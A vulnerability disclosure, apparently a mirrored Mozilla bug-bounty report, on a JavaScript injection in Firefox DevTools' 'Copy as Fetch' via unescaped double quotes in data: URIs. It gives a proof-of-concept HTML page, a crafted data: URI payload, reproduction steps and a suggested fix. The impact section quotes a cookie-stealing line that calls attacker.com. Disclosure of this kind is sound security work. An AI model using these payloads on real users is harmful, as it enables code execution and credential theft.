JavaScript injection via DevTools "Copy as Fetch" / "Use as Fetch in Console" with data: URIs
The DevTools 'Copy as Fetch' feature inserted a request URL into generated JavaScript without escaping, so a crafted data: URI containing double quotes could break out of the string literal and inject code. An attacker could get code to run when a user pastes and executes the copied snippet in a console.
Originally disclosed on Mozilla
- Fixed in 6 days
- Paid in 26 days
- Disclosed after 6 days
Created attachment 9550751 poc.html
Summary
The DevTools Network Monitor "Copy as Fetch" and "Use as Fetch in Console" features generate JavaScript code by interpolating the request URL directly into a string literal without any escaping. Since data: URIs are non-special URL schemes under the WHATWG URL Standard, double-quote characters (", U+0022) in their opaque path are NOT percent-encoded. An attacker-controlled data: URI can therefore break out of the string literal and inject arbitrary JavaScript that executes when the user pastes and runs the copied code.
Affected Component
- File:
devtools/client/netmonitor/src/widgets/RequestListContextMenu.js - Line: 749
const fetchString = `await fetch("${url}", ${options});`;
The url variable is interpolated with zero escaping. Compare with:
- "Copy as cURL" which uses
escapeStringPosix()/escapeStringWin()(indevtools/client/shared/curl.js) - "Copy as PowerShell" which uses
escapeStr()(indevtools/client/netmonitor/src/utils/powershell.js)
"Copy as Fetch" is the only copy function without any escaping.
Root Cause
-
No escaping on URL:
generateFetchString()interpolates the URL directly into a JavaScript double-quoted string literal ("${url}"). JavaScript-special characters such as",\, newlines are not escaped. -
data: URI percent-encoding: Under the WHATWG URL Standard,
data:is a non-special scheme. Its opaque path is encoded using only the C0 control percent-encode set (U+0000 to U+001F and U+007F and above). The double-quote character"(U+0022) is NOT in this set, so it is not percent-encoded.- Relevant source:
third_party/rust/url/src/parser.rs—parse_cannot_be_a_base_path() - Percent-encode set:
third_party/rust/url/src/percent_encoding.rs—CONTROLS
- Relevant source:
-
No scheme filtering: The "Copy as Fetch" menu item has no scheme-based filtering (
visible: !!clickedRequestonly), sodata:URI requests are eligible for the copy action.
Steps to Reproduce
Step 1: Visit attacker's page with DevTools open
Open the following HTML file (or host it on a server) and open DevTools (F12) → Network tab:
<!DOCTYPE html>
<html>
<head><title>PoC - Copy as Fetch Injection</title></head>
<body>
<h1>PoC: Copy as Fetch JS Injection</h1>
<p>Open DevTools (F12) → Network tab, then click the button.</p>
<button onclick="sendPayload()">Send payload</button>
<script>
function sendPayload() {
fetch('data:text/html,"+alert(document.domain)+"');
}
</script>
</body>
</html>
Step 2: Copy as Fetch
In the Network Monitor, right-click the data:text/html,... request → Copy → Copy as Fetch.
Step 3: Paste into any page's console
Navigate to any other page (e.g., https://example.com), open its Web Console, and paste the copied code.
Expected Result
The generated code should be a valid fetch() call that reproduces the original request:
await fetch("data:text/html,\"+alert(document.domain)+\"", {
"credentials": "omit",
"headers": {},
"body": null,
"method": "GET",
"mode": "cors"
});
(Double quotes in the URL should be escaped as \")
Actual Result
The generated code contains unescaped double quotes from the URL, breaking the string literal:
await fetch("data:text/html,"+alert(document.domain)+"", {
"credentials": "omit",
"headers": {},
"body": null,
"method": "GET",
"mode": "cors"
});
The JavaScript parser interprets this as:
"data:text/html,"— string literal+ alert(document.domain) +— arbitrary code execution!""— empty string literal, { ... }— second argument to fetch()
The expression is syntactically valid JavaScript. alert(document.domain) executes as a side effect.
Impact
- Cross-Site Scripting (XSS): Injected code executes in the context of whatever page the user pastes the code into
- Credential theft: Payloads such as
fetch('//attacker.com/?c='+document.cookie)can exfiltrate cookies and tokens - Privileged code execution: If the user pastes into the Browser Console, injected code runs with chrome (system) privileges
User interaction required
- Visit attacker's page with DevTools Network Monitor open
- Right-click the request → "Copy as Fetch"
- Paste into another page's console and execute
For "Use as Fetch in Console", the code is auto-filled into the console input — the user only needs to press Enter (though it executes in the same page's context).
Additional bug: referrerPolicy handled incorrectly
In the same function, referrerPolicy is set to the full header object instead of just its .value string:
// Line 727-729: returns {name: "Referrer-Policy", value: "no-referrer"} instead of "no-referrer"
const referrerPolicy = requestHeaders.headers.find(
({ name }) => name.toLowerCase() === "referrer-policy"
);
// Compare: referrer correctly extracts .value
const referrer = referrerHeader ? referrerHeader.value : undefined;
This causes the generated fetch code to have an object instead of a string for referrerPolicy, making the generated code functionally incorrect.
Suggested Fix
Escape the URL before interpolation into the JavaScript string literal:
// Option 1: Manual escaping
function escapeJSString(str) {
return str
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r');
}
const fetchString = `await fetch("${escapeJSString(url)}", ${options});`;
// Option 2: Use JSON.stringify (simplest and most robust)
const fetchString = `await fetch(${JSON.stringify(url)}, ${options});`;
Also fix the referrerPolicy extraction:
// Before:
const referrerPolicy = requestHeaders.headers.find(...);
// After:
const referrerPolicyHeader = requestHeaders.headers.find(
({ name }) => name.toLowerCase() === "referrer-policy"
);
const referrerPolicy = referrerPolicyHeader ? referrerPolicyHeader.value : undefined;
Affected Versions
This vulnerability exists in the current mozilla-central trunk and has likely been present since the "Copy as Fetch" feature was introduced.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Injected code could run in the context of whatever page the user pastes it into, potentially stealing cookies or tokens, and could run with chrome privileges if pasted into the Browser Console; user interaction is required.
What the attacker needed
Victim visits attacker page; DevTools Network Monitor is open; victim copies as Fetch and pastes code
The fix
The URL should be escaped before interpolation, for example by using JSON.stringify, and the referrerPolicy extraction should use the header's value.
How it was found
- Open an attacker page with DevTools Network Monitor open and trigger a fetch to a crafted data: URI.
- Right-click the data: request in the Network Monitor and choose Copy as Fetch.
- Paste the copied code into another page's console and run it.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Developer tools can generate ready-made code that repeats a network request. This report shows that one of those generators pasted the request address into the code without cleaning it first, so a specially crafted address could add extra instructions. If someone copied that generated code and ran it, the extra instructions would run too.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.